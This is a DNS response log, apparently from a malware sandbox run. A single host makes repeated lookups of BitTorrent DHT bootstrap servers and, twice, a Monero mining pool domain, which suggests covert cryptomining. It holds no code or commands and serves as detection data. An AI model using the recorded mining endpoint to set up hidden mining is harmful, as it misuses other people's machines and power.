Aug 23, 2023 09:15:45.117080927 CEST	8.8.8.8	192.168.2.3	0x867b	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:45.171611071 CEST	8.8.8.8	192.168.2.3	0xce57	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:15:45.171611071 CEST	8.8.8.8	192.168.2.3	0xce57	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:45.206043005 CEST	8.8.8.8	192.168.2.3	0x30e8	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:15:45.206043005 CEST	8.8.8.8	192.168.2.3	0x30e8	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:45.579555035 CEST	8.8.8.8	192.168.2.3	0x369e	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:45.579555035 CEST	8.8.8.8	192.168.2.3	0x369e	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:45.611489058 CEST	8.8.8.8	192.168.2.3	0xb436	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:45.611489058 CEST	8.8.8.8	192.168.2.3	0xb436	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:45.641951084 CEST	8.8.8.8	192.168.2.3	0xf35f	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:45.726560116 CEST	8.8.8.8	192.168.2.3	0xb051	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:45.749778986 CEST	8.8.8.8	192.168.2.3	0x3fe1	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:45.782089949 CEST	8.8.8.8	192.168.2.3	0x16d6	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:45.816324949 CEST	8.8.8.8	192.168.2.3	0xdff5	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:15:45.816324949 CEST	8.8.8.8	192.168.2.3	0xdff5	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:45.848395109 CEST	8.8.8.8	192.168.2.3	0x5c42	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:15:45.848395109 CEST	8.8.8.8	192.168.2.3	0x5c42	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:46.558455944 CEST	8.8.8.8	192.168.2.3	0x52a4	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:46.558455944 CEST	8.8.8.8	192.168.2.3	0x52a4	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:46.582956076 CEST	8.8.8.8	192.168.2.3	0xcc9c	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:46.582956076 CEST	8.8.8.8	192.168.2.3	0xcc9c	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:46.603327036 CEST	8.8.8.8	192.168.2.3	0x5ff1	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:46.769917011 CEST	8.8.8.8	192.168.2.3	0x233	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:46.803626060 CEST	8.8.8.8	192.168.2.3	0xb1fb	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:46.866853952 CEST	8.8.8.8	192.168.2.3	0xe6df	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:46.903574944 CEST	8.8.8.8	192.168.2.3	0xcee7	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:15:46.903574944 CEST	8.8.8.8	192.168.2.3	0xcee7	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:46.979728937 CEST	8.8.8.8	192.168.2.3	0x5928	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:15:46.979728937 CEST	8.8.8.8	192.168.2.3	0x5928	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:49.477935076 CEST	8.8.8.8	192.168.2.3	0xc905	No error (0)	xmr.crypto-pool.fr		141.95.206.77	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:52.766099930 CEST	8.8.8.8	192.168.2.3	0xbaa9	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:52.766099930 CEST	8.8.8.8	192.168.2.3	0xbaa9	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:52.795243025 CEST	8.8.8.8	192.168.2.3	0x2370	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:52.795243025 CEST	8.8.8.8	192.168.2.3	0x2370	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:52.900301933 CEST	8.8.8.8	192.168.2.3	0xe10f	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:52.986509085 CEST	8.8.8.8	192.168.2.3	0x9076	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:53.007745028 CEST	8.8.8.8	192.168.2.3	0x8fcb	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:53.081058979 CEST	8.8.8.8	192.168.2.3	0xe82c	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:53.104769945 CEST	8.8.8.8	192.168.2.3	0x2009	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:15:53.104769945 CEST	8.8.8.8	192.168.2.3	0x2009	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:53.139648914 CEST	8.8.8.8	192.168.2.3	0xe9f4	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:15:53.139648914 CEST	8.8.8.8	192.168.2.3	0xe9f4	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:53.204992056 CEST	8.8.8.8	192.168.2.3	0xea40	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:53.204992056 CEST	8.8.8.8	192.168.2.3	0xea40	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:53.222517014 CEST	8.8.8.8	192.168.2.3	0x6f17	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:53.222517014 CEST	8.8.8.8	192.168.2.3	0x6f17	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:53.257378101 CEST	8.8.8.8	192.168.2.3	0xebce	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:53.284991026 CEST	8.8.8.8	192.168.2.3	0x3cc0	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:53.304568052 CEST	8.8.8.8	192.168.2.3	0xce1	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:53.324074030 CEST	8.8.8.8	192.168.2.3	0xf73e	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:53.356965065 CEST	8.8.8.8	192.168.2.3	0x4602	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:15:53.356965065 CEST	8.8.8.8	192.168.2.3	0x4602	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:53.436707973 CEST	8.8.8.8	192.168.2.3	0x209f	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:15:53.436707973 CEST	8.8.8.8	192.168.2.3	0x209f	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:55.571198940 CEST	8.8.8.8	192.168.2.3	0x3b70	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:55.571198940 CEST	8.8.8.8	192.168.2.3	0x3b70	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:55.588861942 CEST	8.8.8.8	192.168.2.3	0x2289	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:55.588861942 CEST	8.8.8.8	192.168.2.3	0x2289	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:55.616499901 CEST	8.8.8.8	192.168.2.3	0x52b0	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:55.634464979 CEST	8.8.8.8	192.168.2.3	0x375d	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:55.653295994 CEST	8.8.8.8	192.168.2.3	0x2288	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:55.680536032 CEST	8.8.8.8	192.168.2.3	0x8f2	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:55.704520941 CEST	8.8.8.8	192.168.2.3	0x1601	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:15:55.704520941 CEST	8.8.8.8	192.168.2.3	0x1601	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:55.723825932 CEST	8.8.8.8	192.168.2.3	0x23f9	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:15:55.723825932 CEST	8.8.8.8	192.168.2.3	0x23f9	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:00.522339106 CEST	8.8.8.8	192.168.2.3	0xfb51	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:00.522339106 CEST	8.8.8.8	192.168.2.3	0xfb51	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:00.554481030 CEST	8.8.8.8	192.168.2.3	0xe21f	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:00.554481030 CEST	8.8.8.8	192.168.2.3	0xe21f	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:00.575875998 CEST	8.8.8.8	192.168.2.3	0x87f2	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:00.608197927 CEST	8.8.8.8	192.168.2.3	0xda31	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:00.641640902 CEST	8.8.8.8	192.168.2.3	0x8d6f	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:00.669574022 CEST	8.8.8.8	192.168.2.3	0x1196	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:00.702979088 CEST	8.8.8.8	192.168.2.3	0x18a1	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:16:00.702979088 CEST	8.8.8.8	192.168.2.3	0x18a1	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:00.739640951 CEST	8.8.8.8	192.168.2.3	0x47ac	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:16:00.739640951 CEST	8.8.8.8	192.168.2.3	0x47ac	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:01.554513931 CEST	8.8.8.8	192.168.2.3	0xcdc5	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:01.554513931 CEST	8.8.8.8	192.168.2.3	0xcdc5	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:01.580697060 CEST	8.8.8.8	192.168.2.3	0xbc2b	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:01.580697060 CEST	8.8.8.8	192.168.2.3	0xbc2b	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:01.619935989 CEST	8.8.8.8	192.168.2.3	0x228d	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:01.697072983 CEST	8.8.8.8	192.168.2.3	0x458c	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:01.729480982 CEST	8.8.8.8	192.168.2.3	0x7751	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:01.775129080 CEST	8.8.8.8	192.168.2.3	0x22c1	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:01.805676937 CEST	8.8.8.8	192.168.2.3	0x4ab6	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:16:01.805676937 CEST	8.8.8.8	192.168.2.3	0x4ab6	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:01.840640068 CEST	8.8.8.8	192.168.2.3	0xe8e8	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:16:01.840640068 CEST	8.8.8.8	192.168.2.3	0xe8e8	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:02.002002001 CEST	8.8.8.8	192.168.2.3	0x2cca	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:02.002002001 CEST	8.8.8.8	192.168.2.3	0x2cca	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:02.019972086 CEST	8.8.8.8	192.168.2.3	0xf2c3	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:02.019972086 CEST	8.8.8.8	192.168.2.3	0xf2c3	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:02.046963930 CEST	8.8.8.8	192.168.2.3	0x8aad	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:02.084702969 CEST	8.8.8.8	192.168.2.3	0xe053	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:02.123356104 CEST	8.8.8.8	192.168.2.3	0x1e01	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:02.147407055 CEST	8.8.8.8	192.168.2.3	0xdee8	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:02.179517984 CEST	8.8.8.8	192.168.2.3	0xec1d	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:16:02.179517984 CEST	8.8.8.8	192.168.2.3	0xec1d	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:02.227329969 CEST	8.8.8.8	192.168.2.3	0xb1c8	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:16:02.227329969 CEST	8.8.8.8	192.168.2.3	0xb1c8	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:03.515815020 CEST	8.8.8.8	192.168.2.3	0x284f	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:03.515815020 CEST	8.8.8.8	192.168.2.3	0x284f	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:03.544286013 CEST	8.8.8.8	192.168.2.3	0xe93a	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:03.544286013 CEST	8.8.8.8	192.168.2.3	0xe93a	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:03.565758944 CEST	8.8.8.8	192.168.2.3	0x3de5	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:03.601316929 CEST	8.8.8.8	192.168.2.3	0x2382	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:03.633106947 CEST	8.8.8.8	192.168.2.3	0xafdb	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:03.661788940 CEST	8.8.8.8	192.168.2.3	0x8727	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:03.753768921 CEST	8.8.8.8	192.168.2.3	0x3b67	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:16:03.753768921 CEST	8.8.8.8	192.168.2.3	0x3b67	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:03.783257008 CEST	8.8.8.8	192.168.2.3	0x9a47	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:16:03.783257008 CEST	8.8.8.8	192.168.2.3	0x9a47	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:06.977372885 CEST	8.8.8.8	192.168.2.3	0xa433	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:06.977372885 CEST	8.8.8.8	192.168.2.3	0xa433	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:07.004195929 CEST	8.8.8.8	192.168.2.3	0x6196	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:07.004195929 CEST	8.8.8.8	192.168.2.3	0x6196	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:07.032701969 CEST	8.8.8.8	192.168.2.3	0x16c9	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:07.081381083 CEST	8.8.8.8	192.168.2.3	0x9221	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:07.174909115 CEST	8.8.8.8	192.168.2.3	0x54f0	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:07.200185061 CEST	8.8.8.8	192.168.2.3	0x7d52	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:07.355060101 CEST	8.8.8.8	192.168.2.3	0xed4c	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:16:07.355060101 CEST	8.8.8.8	192.168.2.3	0xed4c	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:07.397425890 CEST	8.8.8.8	192.168.2.3	0xfe15	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:16:07.397425890 CEST	8.8.8.8	192.168.2.3	0xfe15	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:11.523101091 CEST	8.8.8.8	192.168.2.3	0xb96b	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:11.523101091 CEST	8.8.8.8	192.168.2.3	0xb96b	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:11.549359083 CEST	8.8.8.8	192.168.2.3	0xb579	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:11.549359083 CEST	8.8.8.8	192.168.2.3	0xb579	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:11.575156927 CEST	8.8.8.8	192.168.2.3	0x19c8	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:11.594645977 CEST	8.8.8.8	192.168.2.3	0x84d3	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:11.612772942 CEST	8.8.8.8	192.168.2.3	0x5927	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:11.642487049 CEST	8.8.8.8	192.168.2.3	0x3db5	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:11.667325974 CEST	8.8.8.8	192.168.2.3	0x72f2	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:16:11.667325974 CEST	8.8.8.8	192.168.2.3	0x72f2	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:11.696062088 CEST	8.8.8.8	192.168.2.3	0x97fe	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:16:11.696062088 CEST	8.8.8.8	192.168.2.3	0x97fe	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:16.552105904 CEST	8.8.8.8	192.168.2.3	0x2a2e	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:16.552105904 CEST	8.8.8.8	192.168.2.3	0x2a2e	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:16.620320082 CEST	8.8.8.8	192.168.2.3	0x94a1	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:16.620320082 CEST	8.8.8.8	192.168.2.3	0x94a1	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:16.639585972 CEST	8.8.8.8	192.168.2.3	0x6019	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:16.704571009 CEST	8.8.8.8	192.168.2.3	0x294b	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:16.731620073 CEST	8.8.8.8	192.168.2.3	0x772a	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:16.750510931 CEST	8.8.8.8	192.168.2.3	0xe4ae	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:16.785851955 CEST	8.8.8.8	192.168.2.3	0x3338	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:16:16.785851955 CEST	8.8.8.8	192.168.2.3	0x3338	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:16.805552959 CEST	8.8.8.8	192.168.2.3	0xeea9	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:16:16.805552959 CEST	8.8.8.8	192.168.2.3	0xeea9	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:17.241883039 CEST	8.8.8.8	192.168.2.3	0xd4c1	No error (0)	xmr.crypto-pool.fr		141.95.206.77	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:17.579066038 CEST	8.8.8.8	192.168.2.3	0x76ef	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:17.579066038 CEST	8.8.8.8	192.168.2.3	0x76ef	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:17.598716974 CEST	8.8.8.8	192.168.2.3	0x1f02	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:17.598716974 CEST	8.8.8.8	192.168.2.3	0x1f02	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:17.629606962 CEST	8.8.8.8	192.168.2.3	0x5887	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:17.656251907 CEST	8.8.8.8	192.168.2.3	0x8a3a	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:17.693650961 CEST	8.8.8.8	192.168.2.3	0x7621	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:17.713161945 CEST	8.8.8.8	192.168.2.3	0x2c3d	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:17.734050035 CEST	8.8.8.8	192.168.2.3	0x52ae	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:16:17.734050035 CEST	8.8.8.8	192.168.2.3	0x52ae	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:17.754806042 CEST	8.8.8.8	192.168.2.3	0x331d	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:16:17.754806042 CEST	8.8.8.8	192.168.2.3	0x331d	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:18.071680069 CEST	8.8.8.8	192.168.2.3	0x4dfd	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:18.071680069 CEST	8.8.8.8	192.168.2.3	0x4dfd	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
